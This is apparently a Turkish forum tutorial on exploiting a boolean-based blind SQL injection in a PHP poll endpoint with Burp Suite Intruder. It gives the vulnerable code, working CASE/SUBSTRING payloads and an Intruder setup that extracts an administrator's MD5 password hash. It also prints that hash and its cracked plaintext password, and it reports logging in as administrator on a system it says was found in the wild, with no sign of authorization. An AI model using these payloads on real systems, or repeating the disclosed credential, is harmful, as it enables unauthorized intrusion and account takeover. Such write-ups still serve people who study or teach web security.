Burp Suite Intruder Kullanarak Boolean Tabanlı SQL Enjeksiyonundan Yararlanma

Ozan

Üye

Burp Suite Intruder Kullanarak Boolean Tabanlı SQL Enjeksiyonundan Yararlanma​

Giriş​

SQL Injection , web uygulamalarını etkileyen en yaygın güvenlik açıklarından biridir. Bir istismar bakış açısından, bir SQL Enjeksiyonu doğrudan arka uç veri deposundan veri çıkarmak için kullanılabilir ve belirli konfigürasyonlarda işletim sistemi komutlarını yürütmek için de kullanılabilir.

Bu gönderi, vahşi doğada keşfedilen ve Burp Suite’in güçlü Intruder işlevselliğinin kullanımı için iyi bir kullanım alanı sağlayan Boolean tabanlı bir SQL Enjeksiyonundan yararlanma hakkındadır . Saldırgan olarak, veri çıkarma tamamen çıkarıma dayalıdır ve manuel olarak yapıldığında zahmetli olabilir. Sqlmap gibi araçlar süreci hızlandırabilir ve belirli bilgi parçalarına nispeten hızlı bir şekilde ulaşmaya yardımcı olabilir, ancak Burp Suite’in Intruder’ını kullanarak bunu denemek ve kullanmak ve uygulamaya geçirmemiz gereken sorgu göz önüne alındığında nasıl yapıldığını görmek istedik.

Güvenlik açığı olduğunu aşağıdaki kod yapısından farkettik.

ini_set('display_errors', 0);
$con = $GLOBALS['con'];

$i = ($_POST['pollid']);

$q = "SELECT * from polls where id = ".$i;
$result = $con->query($q);
if ($result->num_rows > 0 ){
while($row = $result->fetch_assoc())
{
echo "<p class=''>Thank you for your response!</p>";
}
}

İni_set ayarı display_errors, sayfanın üretilebilecek herhangi bir SQL hatasını görüntülemesini engeller. Çalışılması gereken tek şey, yazdırılan mesajdır. Şimdi açığı istismar aşamasına geçebiliriz.

İstismar​

Öncelikle test yapmadan şunları biliyorduk. Mevcut anket soru sayısı 10’dur. Parametreye 11 değerini girdiğimizde pollid mesajı yazdırıldı. Bu bilgilere göre enjeksiyon sorgumuzu oluşturabildik. 0 veya 1 çıktısı üretebilmek için koşullu bir sorgu oluşturulması gerektiğini ve çıktı alabilmek için 11’den çıkarılması gerektiğini düşünerek sorgumuzu oluşturduk.

Örnek vermek gerekirse;

  1. pollid=11-(select case when '0'='0' then 1 else 0 end) 11-1 değerini sağlar
  2. pollid=11-(select case when '0'='1' then 1 else 0 end) 11-0 değerini sağlar.
Bu sorgular aşağıdaki sorguları üretebilmek için ek alt sorgularla genişletilebilir:

  1. pollid=11-(select case when 'a'=(substring((select 'abcd'),1,1)) then 1 else 0 end) 1. Alt dize “a” yı seçeceğinden ve karşılaştırma doğru sonucunu döndüreceğinden 11-1 değerini sağlar
  2. pollid=11-(select case when 'a'=(substring((select 'abcd'),2,1)) then 1 else 0 end) 1. alt dize “b” yi seçeceğinden ve karşılaştırma yanlış döndürdüğünden 11-0 değerini sağlar.
Sonunda tüm saldırıyı komuta ettik ve veritabanından rastgele veriler çıkarabildik. Bunun Burp Suite kullanılarak nasıl yapılabileceğini görmek için, Intruder kullanarak ayıklamayı otomatik hale getirdik ve yönetici olan kullanıcının parolasına erişim sağladık.
BurpSuite kullanmadan önce bazı bilgilere sahiptik. Bunlar:

  • Şifreler password sütununda saklıydı.
  • Parola bir MD5 hash’ıydı, bu nedenle 32 karakter uzunluğunda onaltılık bir dize olarak sistemde kayıtlıydı.
  • Sunucuda ki sorgu şu şekilde olacaktı “select password from employees where empid=1”
Burp Suite’in Intruder’ını kullanarak şifreye erişmek için gereken adımlar şu şekildedir.

  • POST isteği Intruder sekmesine gönderdik.

    Birincisi onaltılık karakter kümesinin (0-9a-f) ve ikincisi şifrenin uzunluğunun (32 karakter) karşılaştırılması için 2 payload üzerinden yineleyeceğimiz gibi, ‘Cluster bomb’ saldırı türünü seçtik.
    6jRXpW0lIilz7ONMrSB13JwdlsE_4hhNpny20qJVw1Oux0dK_ApOzZuHnQ9iTCPfG6C-Vvs96GnIy3T7USRre6dihdYswwQlhG55D8qP8uC3VOknZm8H-qOK7S_FZDSnIlQSiZGg


  • Aşağıdaki sorgu oluşturuldu. Bu, 32 karakterin her biri için tek tek 0-9a-f arasında yineleme sağlar.
pollid=11-(select case when '§0§' = lower(substring((select password from employees where empid=1),§1§,1)) then 1 else 0 end)






  • Payloadlar sekmesi altında, Payload1 için Payload türü ‘Basit Liste’ ve '0,1,2,3,4,5,6,7,8,9, a, b, c, d, e, f ', payload Seçenekleri altına değer olarak eklendi (md5 hash onaltılık küme için)





  • Payload2 için Payload türü ‘Sayılar’ olarak seçilmiştir. Payload Seçeneklerinde, sayı aralığı 1 adım ile 1’den 32’ye kadar seçilmiştir. Sayı biçimi için, minimum rakamlar 1, maksimum 2 ve 0 kesir hanesi olarak ayarlanmıştır.


  • Saldırıyı ‘Start Attack’ düğmesine tıklayarak başlattık, isteklerin uygulamaya gönderildiği yeni bir saldırı penceresi başlattı.
  • Uzunluk sütununa göre sıralama, parola dizesinin Payload 1 sütununda görünmesini sağladı.


  • Son olarak aşağıdaki gibi sonuçları çıkararak kullanıcı şifresini kaydettik.
    83H4F7zgbW9m9o2IB4GYeJ5TuML2mNl3u_l7NCm6y5bKUa1gxwiXNgWdTztG9P2p2ekFhIu7irRI1wVRN5bQAOpS34JxH36nYGhJbnkbsvbQEwkurKBdNXu-CQ8s3HbtBnup0Rrt
Çıkarılan değer b2f40d7ec71fd43a5adc4b65a80c55a6 hashkiller üzerinden aratarak elde ettik. Şifre: yola040294



Burdan aldığımız sonuç ile sisteme yönetici olarak giriş yaptık. Başta dediğim gibi sqlmap ile belki daha hızlı sonuçlar elde edebilirsiniz. Burda amacım Burpsuite üzerinden bu yöntemide göstermekti. Yazımız burada bitti.
Başka bir yazıda görüşmek üzere. Bir kusurumuz olmuşsa affola…
Herkese iyi çalışmalar…
 
Üst